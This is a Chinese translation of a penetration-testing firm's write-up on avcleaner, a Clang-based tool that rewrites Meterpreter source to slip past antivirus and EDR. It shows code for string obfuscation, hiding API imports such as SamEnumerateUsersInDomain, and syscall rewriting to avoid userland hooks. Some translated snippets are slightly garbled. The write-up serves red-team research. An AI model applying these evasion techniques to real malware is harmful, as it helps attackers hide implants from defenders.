前言
此文章記錄了我們對殺毒軟件某些方面的研究,以及我們如何設法自動重構Meterpreter以繞過我們所遇到的每個AV / EDR。 雖然下面詳細介紹了每種技術的思想和字符串混淆過程的實現,但我們決定在以后的文章中發布有關API導入隱藏/系統調用重寫的詳細信息,以使此內容盡可能簡短。 源代碼位于https://github.com/scrt/avcleaner
大多數公司通常采取防御措施來保護其信息系統免受攻擊,在這些措施中,殺毒軟件或EDR等安全軟件通常是必不可少的工具集。盡管過去幾年來繞過任何類型的惡意軟件檢測機制非常容易,但如今這樣做無疑需要付出更多的努力。
另一方面,在POC本身被反病毒軟件阻止的情況下,與漏洞相關的風險交流變得更具有挑戰性。盡管理論上可以說有可能繞過檢測并保留它,但實際上這樣做可能會增加強度。
鑒于此,需要能夠繞過殺毒軟件。使事情稍微復雜化的是,在SCRT,我們盡可能地使用公開可用的開源代碼工具,以展示我們的工作可以被任何熟練使用它們的人復制,并且不依賴于昂貴的私人工具。
問題現狀
現在的社區通常喜歡將任何防病毒的檢測機制歸類為靜態或動態。通常,如果在惡意軟件執行之前觸發了檢測,則將其視為一種靜態檢測。但是,值得一提的是,殺軟也可以在惡意軟件執行期間調用靜態檢測機制(例如簽名),以響應諸如進程創建,內存中文件下載等事件。無論如何,如果我們想對任何類型的安全軟件使用舊的Meterpreter,我們都必須對其進行修改,使其滿足以下要求:
在文件系統掃描或內存掃描時,繞過任何靜態簽名。繞過“行為檢測”,這種行為通常與繞過用戶界面API hooking有關。
但是,Meterpreter包含幾個模塊,整個代碼庫總計約700’000行代碼。此外,它會不斷更新,這意味著運行項目的私有分支肯定會導致擴展性很差。簡而言之,我們需要一種自動轉換代碼庫的方法。
解決方案
經過多年繞過防病毒軟件的實際經驗,我們發現惡意軟件檢測幾乎都是基于字符串,API hooks或兩者的結合。
即使對于實施機器學習分類的產品(例如Cylance),一個沒有字符串,API導入和可掛鉤API調用的惡意軟件也可以像足球射門一樣穿過Sergio Rico的防御網絡。
Meterpreter具有成千上萬個字符串,不會以任何方式隱藏API導入,并且可以使用用戶界面API hook輕松攔截敏感的API,例如WriteProcessMemory。 因此,我們需要以自動化的方式對此進行補救,這將產生兩個潛在的解決方案:
源到源代碼重構LLVM在編譯時混淆代碼庫。
顯然,后者將是首選方法,這是許多流行的研究得出相同的結論。 主要原因是,轉換遍歷可以只編寫一次,而可以獨立于軟件的編程語言或目標體系結構重復使用。
但是,這樣做需要有用Visual Studio以外的編譯器編譯Meterpreter的能力。盡管我們已于2018年12月發布了一些更改工作,但在一年多之后,正式代碼庫的采用仍然是一個需要持續的過程。
同時,我們已決定不顧一切成本的實施第一種方法。在對源代碼重構的最新技術進行了徹底的回顧之后,libTooling(Clang / LLVM工具鏈的一部分)似乎是解析C / C ++源代碼并對其進行修改的唯一可行的選擇。
注意:由于代碼庫高度依賴Visual Studio,因此Clang無法解析Metepreter的很大一部分。但是,仍然有可能以一半的概率繞過目標防病毒軟件。在這里,我們可能遇到源到源轉換相對于編譯時轉換的唯一優勢:那就是編譯時轉換要求整個項目進行編譯而沒有任何錯誤。而源到源轉換可以允許成千上萬的編譯錯誤。而你只會得到一個不完整的抽象語法樹,這非常好。
字符串混淆
在C / C ++中,字符串可能位于許多不同的上下文中。 libTooling并不是一個足夠好的工具,因此我們應用了帕雷托法則(也即二八定律),將研究范圍限制在Meterpreter代碼庫中最可疑的字符串出現的代碼上:
函數參數列表初始化
函數參數
例如,我們知道,在以下情況下,ESET Nod32將標記字符串ntdll為可疑:
ntdll = LoadLibrary(TEXT("ntdll"))
但是,用以下方式重寫此代碼段將成功繞過檢測:
wchar_t ntdll_str[] = {'n','t','d','l','l',0};
ntdll = LoadLibrary(ntdll_str)
在看不見的幕后,第一個代碼片段使字符串ntdll存儲在生成的二進制文件的.rdata段內,并且防病毒程序很容易發現該字符串。 第二個片段是字符串在運行時存儲在堆棧中,并且在通常情況下與代碼在靜態上無法區分。 IDA Pro或替代產品通常能夠識別字符串,但它們也需要對二進制文件運行更高級且計算量更大的分析。
列表初始化
在Meterpreter的代碼庫中,可以在幾個文件中找到這種構造,例如在c/meterpreter/source/extensions/extapi/extapi.c 中:
Command customCommands[] =
{
COMMAND_REQ("extapi_window_enum", request_window_enum),
COMMAND_REQ("extapi_service_enum", request_service_enum),
COMMAND_REQ("extapi_service_query", request_service_query),
COMMAND_REQ("extapi_service_control", request_service_control),
COMMAND_REQ("extapi_clipboard_get_data", request_clipboard_get_data),
COMMAND_REQ("extapi_clipboard_set_data", request_clipboard_set_data),
COMMAND_REQ("extapi_clipboard_monitor_start", request_clipboard_monitor_start),
COMMAND_REQ("extapi_clipboard_monitor_pause", request_clipboard_monitor_pause),
COMMAND_REQ("extapi_clipboard_monitor_resume", request_clipboard_monitor_resume),
COMMAND_REQ("extapi_clipboard_monitor_purge", request_clipboard_monitor_purge),
COMMAND_REQ("extapi_clipboard_monitor_stop", request_clipboard_monitor_stop),
COMMAND_REQ("extapi_clipboard_monitor_dump", request_clipboard_monitor_dump),
COMMAND_REQ("extapi_adsi_domain_query", request_adsi_domain_query),
COMMAND_REQ("extapi_ntds_parse", ntds_parse),
COMMAND_REQ("extapi_wmi_query", request_wmi_query),
COMMAND_REQ("extapi_pageant_send_query", request_pageant_send_query),
...
}
這些字符串以明文形式存儲在ext_server_espia.x64.dll的.rdata節中,并由ESET Nod32進行選擇。
更糟糕的是,這些字符串是位于列表初始化程序中的宏的參數。 這引入了很多棘手的案例,但這些案例并不需要關心。我們的目的是自動重寫此代碼段,如下所示:
char hid_extapi_UQOoNXigAPq4[] = {'e','x','t','a','p','i','_','w','i','n','d','o','w','_','e','n','u','m',0};
char hid_extapi_vhFHmZ8u2hfz[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','e','n','u','m',0};
char hid_extapi_pW25eeIGBeru[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','q','u','e','r','y'
0};
char hid_extapi_S4Ws57MYBjib[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','c','o','n','t','r'
'o','l',0};
char hid_extapi_HJ0lD9Dl56A4[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','g','e','t'
'_','d','a','t','a',0};
char hid_extapi_IiEzXils3UsR[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','s','e','t'
'_','d','a','t','a',0};
char hid_extapi_czLOBo0HcqCP[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','s','t','a','r','t',0};
char hid_extapi_WcWbTrsQujiT[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','p','a','u','s','e',0};
char hid_extapi_rPiFTZW4ShwA[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','r','e','s','u','m','e',0};
char hid_extapi_05fAoaZLqOoy[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','p','u','r','g','e',0};
char hid_extapi_cOOyHTPTvZGK[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n','i','t','o','r','_','s','t','o','p',0};
char hid_extapi_smtmvW05cI9y[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n','i','t','o','r','_','d','u','m','p',0};
char hid_extapi_01kuYCM8z49k[] = {'e','x','t','a','p','i','_','a','d','s','i','_','d','o','m','a','i','n','_','q','u','e','r','y',0};
char hid_extapi_SMK9uFj6nThk[] = {'e','x','t','a','p','i','_','n','t','d','s','_','p','a','r','s','e',0};
char hid_extapi_PHxnGM7M0609[] = {'e','x','t','a','p','i','_','w','m','i','_','q','u','e','r','y',0};
char hid_extapi_J7EGS6FRHwkV[] = {'e','x','t','a','p','i','_','p','a','g','e','a','n','t','_','s','e','n','d','_','q','u','e','r','y',0};
Command customCommands[] =
{
COMMAND_REQ(hid_extapi_UQOoNXigAPq4, request_window_enum),
COMMAND_REQ(hid_extapi_vhFHmZ8u2hfz, request_service_enum),
COMMAND_REQ(hid_extapi_pW25eeIGBeru, request_service_query),
COMMAND_REQ(hid_extapi_S4Ws57MYBjib, request_service_control),
COMMAND_REQ(hid_extapi_HJ0lD9Dl56A4, request_clipboard_get_data),
COMMAND_REQ(hid_extapi_IiEzXils3UsR, request_clipboard_set_data),
COMMAND_REQ(hid_extapi_czLOBo0HcqCP, request_clipboard_monitor_start),
COMMAND_REQ(hid_extapi_WcWbTrsQujiT, request_clipboard_monitor_pause),
COMMAND_REQ(hid_extapi_rPiFTZW4ShwA, request_clipboard_monitor_resume),
COMMAND_REQ(hid_extapi_05fAoaZLqOoy, request_clipboard_monitor_purge),
COMMAND_REQ(hid_extapi_cOOyHTPTvZGK, request_clipboard_monitor_stop),
COMMAND_REQ(hid_extapi_smtmvW05cI9y, request_clipboard_monitor_dump),
COMMAND_REQ(hid_extapi_01kuYCM8z49k, request_adsi_domain_query),
COMMAND_REQ(hid_extapi_SMK9uFj6nThk, ntds_parse),
COMMAND_REQ(hid_extapi_PHxnGM7M0609, request_wmi_query),
COMMAND_REQ(hid_extapi_J7EGS6FRHwkV, request_pageant_send_query),
COMMAND_TERMINATOR
};
隱藏API導入
調用由外部庫導出的函數會使鏈接器向導入地址表(IAT)寫入一個條目。 最終函數名稱將在二進制文件中以明文形式顯示,因此在無需執行惡意文件的情況下,可以靜態恢復函數名。 當然,有些函數名稱相比其他名稱更可疑。 一個更明智的做法是隱藏所有可疑二進制文件,同時,保留大多數合法二進制文件中存在的文件。
例如,在Metepreter的kiwi擴展中,可以找到以下行:
enumStatus = SamEnumerateUsersInDomain(hDomain, &EnumerationContext, 0, &pEnumBuffer, 100, &CountRetourned);
該函數由samlib.dll導出,因此鏈接器會使字符串samlib.dll和SamEnumerateUsersInDomain出現在已編譯的二進制文件中。
要解決此問題,可以在運行時使用LoadLibrary/GetProcAddresss導入API。當然,這兩個函數都適用于字符串,因此也必須對其進行混淆。 因此,我們希望按如下所示自動重寫上述代碼段:
typedef NTSTATUS(__stdcall* _SamEnumerateUsersInDomain)(
SAMPR_HANDLE DomainHandle,
PDword EnumerationContext,
DWORD UserAccountControl,
PSAMPR_RID_ENUMERATION* Buffer,
DWORD PreferedMaximumLength,
PDWORD CountReturned
);
char hid_SAMLIB_01zmejmkLCHt[] = {'S','A','M','L','I','B','.','D','L','L',0};
char hid_SamEnu_BZxlW5ZBUAAe[] = {'S','a','m','E','n','u','m','e','r','a','t','e','U','s','e','r','s','I','n','D','o','m','a','i','n',0};
HANDLE hhid_SAMLIB_BZUriyLrlgrJ = LoadLibrary(hid_SAMLIB_01zmejmkLCHt);
_SamEnumerateUsersInDomain ffSamEnumerateUsersInDoma =(_SamEnumerateUsersInDomain)GetProcAddress(hhid_SAMLIB_BZUriyLrlgrJ, hid_SamEnu_BZxlW5ZBUAAe);
enumStatus = ffSamEnumerateUsersInDoma(hDomain, &EnumerationContext, 0, &pEnumBuffer, 100, &CountRetourned);
Rewriting syscalls
重寫系統調用
默認情況下,在運行Cylance的計算機上使用Meterpreter的migration命令會觸發殺軟檢測(請謹慎)。 Cylance會使用用戶界面hook檢測進程注入。 為了避開檢測,可以去掉hook,這似乎是現在的主流趨勢,或者可以完全避免使用hook。 我們發現,讀取ntdll,恢復系統調用號并將其插入隨時可以調用的Shellcode中更為簡單,這可以有效地繞過任何殺軟用戶區的鉤子。 迄今為止,我們尚未找到可以將從磁盤讀取的NTDLL.DLL的行為識別為可疑的藍隊。
實現
上述所有想法都可以在基于libtools的源代碼重構工具中實現。本節說明我們是如何做到這一點的,這是在時間和耐心之間的妥協。因為缺少libtools文檔,所以此處還有改進的空間,如果你發現了什么,那可能是我們希望得到的反饋。
抽象語法樹101
編譯器通常包括幾個組件,最常見的是解析器和詞法分析器。 當將源代碼提供給編譯器時,它首先從原始源代碼(程序員編寫的代碼)中生成一個解析樹,然后將語義信息添加到節點(編譯器真正需要的)。 此步驟的結果稱為抽象語法樹。 維基百科展示了以下示例:
while b ≠ 0
if a > b
a := a − b
else
b := b − a
return a
這個小程序的典型AST如下所示:
在編寫需要理解其他程序屬性的程序時,這個數據結構允許使用更精確的算法,因此執行大規模代碼重構是一個不錯的選擇。
Clang的抽象語法樹
由于我們需要正確修改源代碼,因此我們需要熟悉Clang的AST。 好消息是Clang公開了一個命令行開關,以漂亮的顏色轉儲AST。 壞消息是,對于除”玩具項目”以外的所有項目,設置正確的編譯器標志都非常棘手。
現在,讓我們做一個現實而簡單的翻譯測試單元:
#include <windows.h>
typedef NTSTATUS (NTAPI *f_NtMapViewOfSection)(HANDLE, HANDLE, PVOID *, ULONG, ULONG,
PLARGE_INTEGER, PULONG, ULONG, ULONG, ULONG);
int main(void)
{
f_NtMapViewOfSection lNtMapViewOfSection;
HMODULE ntdll;
if (!(ntdll = LoadLibrary(TEXT("ntdll"))))
{
return -1;
}
lNtMapViewOfSection = (f_NtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection");
lNtMapViewOfSection(0,0,0,0,0,0,0,0,0,0);
return 0;
}
然后,將以下腳本插入.sh文件中:
WIN_INCLUDE="/Users/vladimir/headers/winsdk"
CLANG_PATH="/usr/local/Cellar/llvm/9.0.1"#"/usr/lib/clang/8.0.1/"
clang -cc1 -ast-dump "$1" -D "_WIN64" -D "_UNICODE" -D "UNICODE" -D "_WINSOCK_DEPRECATED_NO_WARNINGS"
"-I" "$CLANG_PATH/include"
"-I" "$CLANG_PATH"
"-I" "$WIN_INCLUDE/Include/msvc-14.15.26726-include"
"-I" "$WIN_INCLUDE/Include/10.0.17134.0/ucrt"
"-I" "$WIN_INCLUDE/Include/10.0.17134.0/shared"
"-I" "$WIN_INCLUDE/Include/10.0.17134.0/um"
"-I" "$WIN_INCLUDE/Include/10.0.17134.0/winrt"
"-fdeprecated-macro"
"-w"
"-fdebug-compilation-dir"
"-fno-use-cxa-atexit" "-fms-extensions" "-fms-compatibility"
"-fms-compatibility-version=19.15.26726" "-std=c++14" "-fdelayed-template-parsing" "-fobjc-runtime=gcc" "-fcxx-exceptions" "-fexceptions" "-fseh-exceptions" "-fdiagnostics-show-option" "-fcolor-diagnostics" "-x" "c++"
請注意,WIN_INCLUDE指向一個文件夾,其中包含與Win32 API進行交互的所有必需的標頭。 這些是從標準Windows 10安裝中直接獲取的,為了避免讓你頭疼,我們建議你執行相同操作,千萬不要選擇MinGW。 然后,以需要測試的C文件作為參數來調用腳本。 雖然這會產生一個18MB的文件,但通過搜索我們定義的字符串之一(例如“ NtMapViewOfSection”),可以輕松導航到AST的有趣部分:
現在,我們有了一種可視化AST的方法,可以更輕易地了解如何更新節點才能獲得結果,同時不在結果源代碼中引入任何語法錯誤。 以下各節包含與使用libTooling進行AST操作有關實現的詳細信息。
ClangTool樣板
在進入有趣的內容之前,需要一些樣板代碼,因此需要將以下代碼插入main.cpp中:
#include "clang/AST/ASTConsumer.h"
#include "clang/AST/ASTContext.h"
#include "clang/AST/Decl.h"
#include "clang/AST/Type.h"
#include "clang/ASTMatchers/ASTMatchFinder.h"
#include "clang/ASTMatchers/ASTMatchers.h"
#include "clang/Basic/SourceManager.h"
#include "clang/Frontend/CompilerInstance.h"
#include "clang/Frontend/FrontendAction.h"
#include "clang/Tooling/CommonOptionsParser.h"
#include "clang/Tooling/Tooling.h"
#include "clang/Rewrite/Core/Rewriter.h"
// LLVM includes
#include "llvm/ADT/ArrayRef.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/raw_ostream.h"
#include "Consumer.h"
#include "MatchHandler.h"
#include <IOStream>
#include <memory>
#include <string>
#include <vector>
#include <fstream>
#include <clang/Tooling/Inclusions/IncludeStyle.h>
#include <clang/Tooling/Inclusions/HeaderIncludes.h>
#include <sstream>
namespace ClSetup {
llvm::cl::OptionCategory ToolCategory("StringEncryptor");
}
namespace StringEncryptor {
clang::Rewriter ASTRewriter;
class Action : public clang::ASTFrontendAction {
public:
using ASTConsumerPointer = std::unique_ptr<clang::ASTConsumer>;
ASTConsumerPointer CreateASTConsumer(clang::CompilerInstance &Compiler,
llvm::StringRef Filename) override {
ASTRewriter.setSourceMgr(Compiler.getSourceManager(), Compiler.getLangOpts());
std::vector<ASTConsumer*> consumers;
consumers.push_back(&StringConsumer);
// several passes can be combined together by adding them to `consumers`
auto TheConsumer = llvm::make_unique<Consumer>();
TheConsumer->consumers = consumers;
return TheConsumer;
}
bool BeginSourceFileAction(clang::CompilerInstance &Compiler) override {
llvm::outs() << "Processing file " << 'n';
return true;
}
void EndSourceFileAction() override {
clang::SourceManager &SM = ASTRewriter.getSourceMgr();
std::string FileName = SM.getFileEntryForID(SM.getMainFileID())->getName();
llvm::errs() << "** EndSourceFileAction for: " << FileName << "n";
// Now emit the rewritten buffer.
llvm::errs() << "Here is the edited source file :nn";
std::string TypeS;
llvm::raw_string_ostream s(TypeS);
auto FileID = SM.getMainFileID();
auto ReWriteBuffer = ASTRewriter.getRewriteBufferFor(FileID);
if(ReWriteBuffer != nullptr)
ReWriteBuffer->write((s));
else{
llvm::errs() << "File was not modifiedn";
return;
}
std::string result = s.str();
std::ofstream fo(FileName);
if(fo.is_open())
fo << result;
else
llvm::errs() << "[!] Error saving result to " << FileName << "n";
}
};
}
auto main(int argc, const char *argv[]) -> int {
using namespace clang::tooling;
using namespace ClSetup;
CommonOptionsParser OptionsParser(argc, argv, ToolCategory);
ClangTool Tool(OptionsParser.getCompilations(),
OptionsParser.getSourcePathList());
auto Action = newFrontendActionFactory<StringEncryptor::Action>();
return Tool.run(Action.get());
}
由于該樣板代碼取自官方文檔中的示例,因此不需要再進一步的描述。 唯一值得一提的修改是在CreateASTConsumer的內部。 我們的最終目標是在同一個翻譯單元上進行多次轉換。 可以通過將項目添加到集合中來完成(基本行是consumers.push_back(&...);)。
字符串混淆
本節描述有關字符串混淆過程的最重要的實現細節,包括三個步驟:
在源代碼中找到字符串。用變量替換它們在適當的位置(包含函數或全局上下文中)插入變量定義/賦值。
在源代碼中查找字符串文字
可以如下定義StringConsumer(在StringEncryptor命名空間的開頭):
class StringEncryptionConsumer : public clang::ASTConsumer {
public:
void HandleTranslationUnit(clang::ASTContext &Context) override {
using namespace clang::ast_matchers;
using namespace StringEncryptor;
llvm::outs() << "[StringEncryption] Registering ASTMatcher...n";
MatchFinder Finder;
MatchHandler Handler(&ASTRewriter);
const auto Matcher = stringLiteral().bind("decl");
Finder.addMatcher(Matcher, &Handler);
Finder.matchAST(Context);
}
};
StringEncryptionConsumer StringConsumer = StringEncryptionConsumer();
給定一個翻譯單元,我們可以告訴Clang在AST中找到一個模式,同時注冊一個“處理程序”以在找到匹配項時調用。 Clang的ASTMatcher公開的模式匹配功能非常強大,但在這里并未得到充分利用,因為我們僅是用它來定位字符串。
然后,我們可以通過實現MatchHandler來解決問題,它將為我們提供MatchResult實例。 MatchResult包含對標識的AST節點的引用以及上下文信息。
接下來我們可以實現一個類的定義,并從clang::ast_matchers::MatchFinder::MatchCallback:繼承一些東西:
#ifndef AVCLEANER_MATCHHANDLER_H
#define AVCLEANER_MATCHHANDLER_H
#include <vector>
#include <string>
#include <memory>
#include "llvm/Support/raw_ostream.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/ADT/ArrayRef.h"
#include "clang/Rewrite/Core/Rewriter.h"
#include "clang/Tooling/Tooling.h"
#include "clang/Tooling/CommonOptionsParser.h"
#include "clang/Frontend/FrontendAction.h"
#include "clang/Frontend/CompilerInstance.h"
#include "clang/Basic/SourceManager.h"
#include "clang/ASTMatchers/ASTMatchers.h"
#include "clang/ASTMatchers/ASTMatchFinder.h"
#include "clang/AST/Type.h"
#include "clang/AST/Decl.h"
#include "clang/AST/ASTContext.h"
#include "clang/AST/ASTConsumer.h"
#include "MatchHandler.h"
class MatchHandler : public clang::ast_matchers::MatchFinder::MatchCallback {
public:
using MatchResult = clang::ast_matchers::MatchFinder::MatchResult;
MatchHandler(clang::Rewriter *rewriter);
void run(const MatchResult &Result) override; // callback function that runs whenever a Match is found.
};
#endif //AVCLEANER_MATCHHANDLER_H
在MatchHandler.cpp中,我們必須實現MatchHandler的構造函數和run回調函數。 構造函數非常簡單,僅僅只需要存儲 clang::Rewrite的實例以供以后使用即可:
using namespace clang;
MatchHandler::MatchHandler(clang::Rewriter *rewriter) {
this->ASTRewriter = rewriter;
}
run的實現如下所示:
void MatchHandler::run(const MatchResult &Result) {
const auto *Decl = Result.Nodes.getNodeAs<clang::StringLiteral>("decl");
clang::SourceManager &SM = ASTRewriter->getSourceMgr();
// skip strings in included headers
if (!SM.isInMainFile(Decl->getBeginLoc()))
return;
// strings that comprise less than 5 characters are not worth the effort
if (!Decl->getBytes().str().size() > 4) {
return;
}
climbParentsIgnoreCast(*Decl, clang::ast_type_traits::DynTypedNode(), Result.Context, 0);
}
上面摘錄的三段代碼中有三個點值得一提:
我們提取與StringEncryptionConsumer中定義的模式匹配的AST節點。為此,可以調用函數getNodeAs,它需要一個字符串作為參數,該參數與模式綁定的標識符相關(請參見const auto Matcher = stringLiteral().bind("decl")行)我們會跳過分析中沒有在翻譯單元中定義的字符串。實際上,我們的過程會在Clang的預處理程序之后進行干預,它會將包含的系統頭的內容復制粘貼到翻譯單元中。然后,我們準備處理字符串。 由于我們需要在上下文中找到此字符串,因此需將提取的節點沿著Result.Context傳遞給用戶定義的函數(在本例中為climbParentsIgnoreCast,因為缺少更好的名稱),其中包含一個 參考隨附的AST。 目標是向上訪問樹,直到找到有趣的節點。 在這種情況下,我們對CallExpr類型的節點感興趣。
bool
MatchHandler::climbParentsIgnoreCast(const StringLiteral &NodeString, clang::ast_type_traits::DynTypedNode node,
clang::ASTContext *const pContext, uint64_t iterations) {
ASTContext::DynTypedNodeList parents = pContext->getParents(NodeString);
if (iterations > 0) {
parents = pContext->getParents(node);
}
for (const auto &parent : parents) {
StringRef ParentNodeKind = parent.getNodeKind().asStringRef();
if (ParentNodeKind.find("Cast") != std::string::npos) {
return climbParentsIgnoreCast(NodeString, parent, pContext, ++iterations);
}
handleStringInContext(&NodeString, pContext, parent);
}
return false;
}
簡而言之,此函數以遞歸方式查找StringLiteral節點的父節點,直到找到一個有趣的節點(非“ cast”)。 handleStringInContext也很簡單:
void MatchHandler::handleStringInContext(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
const clang::ast_type_traits::DynTypedNode node) {
StringRef ParentNodeKind = node.getNodeKind().asStringRef();
if (ParentNodeKind.compare("CallExpr") == 0) {
handleCallExpr(pLiteral, pContext, node);
} else if (ParentNodeKind.compare("InitListExpr") == 0) {
handleInitListExpr(pLiteral, pContext, node);
} else {
llvm::outs() << "Unhandled context " << ParentNodeKind << " for string " << pLiteral->getBytes() << "n";
}
}
從上面的代碼片段可以明顯看出,實際上只有兩種類型的節點可以處理。 如果需要,添加更多內容也應該很容易。 事實上,這兩種情況都已經用類似的方式處理。
void MatchHandler::handleCallExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
const clang::ast_type_traits::DynTypedNode node) {
const auto *FunctionCall = node.get<clang::CallExpr>();
if (isBlacklistedFunction(FunctionCall)) {
return; // exclude printf-like functions when the replacement is not constant anymore (C89 standard...).
}
handleExpr(pLiteral, pContext, node);
}
void MatchHandler::handleInitListExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
const clang::ast_type_traits::DynTypedNode node) {
handleExpr(pLiteral, pContext, node);
}
替換字符串
由于CallExpr和InitListExpr都可以用類似的方式處理,因此我們定義了一個公共的可用函數。
bool MatchHandler::handleExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
const clang::ast_type_traits::DynTypedNode node) {
clang::SourceRange LiteralRange = clang::SourceRange(
ASTRewriter->getSourceMgr().getFileLoc(pLiteral->getBeginLoc()),
ASTRewriter->getSourceMgr().getFileLoc(pLiteral->getEndLoc())
);
if(shouldAbort(pLiteral, pContext, LiteralRange))
return false;
std::string Replacement = translateStringToIdentifier(pLiteral->getBytes().str());
if(!insertVariableDeclaration(pLiteral, pContext, LiteralRange, Replacement))
return false ;
Globs::PatchedSourceLocation.push_back(LiteralRange);
return replaceStringLiteral(pLiteral, pContext, LiteralRange, Replacement);
}
我們隨機生成一個變量名。在最近的位置找到一些空白空間,然后插入變量聲明。 這基本上是一個ASTRewriter->InsertText()的包裝將字符串替換為在步驟1中生成的標識符將字符串所在位置添加到集合中。 這很有用,因為在訪問InitListExpr時,相同的字符串將出現兩次(不知道為什么)。
最后一步是真正難以實現的一步,因此讓我們首先關注這一點:
bool MatchHandler::replaceStringLiteral(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
clang::SourceRange LiteralRange,
const std::string& Replacement) {
// handle "TEXT" macro argument, for instance LoadLibrary(TEXT("ntdll"));
bool isMacro = ASTRewriter->getSourceMgr().isMacroBodyExpansion(pLiteral->getBeginLoc());
if (isMacro) {
StringRef OrigText = clang::Lexer::getSourceText(CharSourceRange(pLiteral->getSourceRange(), true),
pContext->getSourceManager(), pContext->getLangOpts());
// weird bug with TEXT Macro / other macros...there must be a proper way to do this.
if (OrigText.find("TEXT") != std::string::npos) {
ASTRewriter->RemoveText(LiteralRange);
LiteralRange.setEnd(ASTRewriter->getSourceMgr().getFileLoc(pLiteral->getEndLoc().getLocWithOffset(-1)));
}
}
return ASTRewriter->ReplaceText(LiteralRange, Replacement);
}
通常情況下,應該使用ReplaceText API實現替換文本,但是實際上遇到了很多錯誤。 當涉及到宏時,由于Clang的API行為不一致,因此事情會變得非常復雜。 例如,如果取消選中isMacroBodyExpansion(),最終將替換“ TEXT”而不是其參數。
例如,在LoadLibrary(TEXT("ntdll"))中,實際結果會變成LoadLibrary(your_variable("ntdll")),這明顯是錯誤的。
原因是TEXT是一個宏,當由Clang的預處理器處理時,會將其替換為L"ntdll"。 我們的轉換過程是在預處理器完成工作之后發生的,因此查詢標記”ntdll”的開始和結束位置將產生幾個字符的額外值,這對我們沒有用處。 不幸的是,使用Clang的API來查詢原始翻譯單元中的實際位置是一種魔咒,只能通過不斷試錯來進行。
在最近的空白位置插入變量聲明
現在我們可以用變量標識符替換字符串了,我們的目標是定義該變量并為它分配給原始字符串的值。 簡單的說,我們希望打補丁后的源代碼包含char your_variable[] = "ntdll",同時不覆蓋任何內容。
可能有兩種情況:
字符串文字位于函數體內。字符串文字位于函數主體外部。
后者是最直接的方法,因為只需要查找使用字符串的表達式的開頭即可。
對于前者,我們需要找到封閉函數。 Clang公開了一個API來查詢函數體的起始位置。 這是插入變量聲明的理想位置,因為該變量將在整個函數中可見,并且我們插入的標記不會覆蓋內容。
在任何情況下,這兩種情況都可以通過訪問每一個父節點來解決,直到找到一個FunctionDecl或VarDecl類型的節點為止:
MatchHandler::findInjectionSpot(clang::ASTContext *const Context, clang::ast_type_traits::DynTypedNode Parent,
const clang::StringLiteral &Literal, bool IsGlobal, uint64_t Iterations) {
if (Iterations > CLIMB_PARENTS_MAX_ITER)
throw std::runtime_error("Reached max iterations when trying to find a function declaration");
ASTContext::DynTypedNodeList parents = Context->getParents(Literal);;
if (Iterations > 0) {
parents = Context->getParents(Parent);
}
for (const auto &parent : parents) {
StringRef ParentNodeKind = parent.getNodeKind().asStringRef();
if (ParentNodeKind.find("FunctionDecl") != std::string::npos) {
auto FunDecl = parent.get<clang::FunctionDecl>();
auto *Statement = FunDecl->getBody();
auto *FirstChild = *Statement->child_begin();
return {FirstChild->getBeginLoc(), FunDecl->getEndLoc()};
} else if (ParentNodeKind.find("VarDecl") != std::string::npos) {
if (IsGlobal) {
return parent.get<clang::VarDecl>()->getSourceRange();
}
}
return findInjectionSpot(Context, parent, Literal, IsGlobal, ++Iterations);
}
}
測試
git clone https://github.com/SCRT/avcleaner
mkdir avcleaner/CMakeBuild && cd avcleaner/CMakeBuild
cmake ..
make
cd ..
bash run_example.sh test/string_simplest.c
如您所見,這很好用。 現在,此示例非常簡單,可以使用正則表達式解決,并減少代碼行數。